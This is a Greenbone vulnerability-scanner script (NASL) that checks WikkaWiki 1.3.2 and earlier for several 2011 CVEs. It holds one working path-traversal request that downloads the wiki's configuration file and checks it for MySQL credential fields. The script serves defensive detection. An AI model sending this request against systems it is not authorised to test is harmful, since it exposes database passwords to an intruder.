WikkaWiki Multiple Security Vulnerabilities

# SPDX-FileCopyrightText: 2011 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if (description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103350");
  script_cve_id("CVE-2011-4448", "CVE-2011-4449", "CVE-2011-4450", "CVE-2011-4451");
  script_version("2023-12-13T05:05:23+0000");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_name("WikkaWiki Multiple Security Vulnerabilities");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/50866");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/520687");
  script_tag(name:"last_modification", value:"2023-12-13 05:05:23 +0000 (Wed, 13 Dec 2023)");
  script_tag(name:"creation_date", value:"2011-12-01 11:51:48 +0100 (Thu, 01 Dec 2011)");

  script_tag(name:"qod_type", value:"remote_vul");
  script_category(ACT_ATTACK);
  script_family("Web application abuses");
  script_copyright("Copyright (C) 2011 Greenbone AG");
  script_dependencies("find_service.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "gb_php_http_detect.nasl", "global_settings.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"WikkaWiki is prone to multiple security vulnerabilities, including:

  - An SQL injection vulnerability.

  - An arbitrary file upload vulnerability.

  - An arbitrary file deletion vulnerability.

  - An arbitrary file download vulnerability.

  - A PHP code injection vulnerability.");

  script_tag(name:"impact", value:"Attackers can exploit these issues to modify the logic of SQL queries.
  Upload, delete, or download arbitrary files, or inject and execute arbitrary PHP code in the context of
  the affected application. Other attacks may also be possible.");

  script_tag(name:"affected", value:"WikkaWiki 1.3.2 and prior versions are vulnerable.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since
  the disclosure of this vulnerability. Likely none will be provided anymore. General solution options
  are to upgrade to a newer release, disable respective features, remove the product or replace the
  product by another one.");

  script_tag(name:"solution_type", value:"WillNotFix");
  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");
include("list_array_func.inc");

port = http_get_port( default:80 );
if( ! http_can_host_php( port:port ) ) exit( 0 );

foreach dir( make_list_unique( "/wikka", "/wikki", http_cgi_dirs( port:port ) ) ) {

  if( dir == "/" ) dir = "";
  buf = http_get_cache(item:dir + "/index.php", port:port);
  if(!buf || "Location: wikka.php" >!< buf)
    continue;

  url = string(dir, "/test/files.xml?action=download&file=/../../wikka.config.php");

  if( http_vuln_check( port:port, url:url, pattern:"mysql_host", extra_check:make_list( "mysql_database", "mysql_user", "mysql_password" ) ) ) {
    report = http_report_vuln_url( port:port, url:url );
    security_message( port:port, data:report );
    exit( 0 );
  }
}

exit( 99 );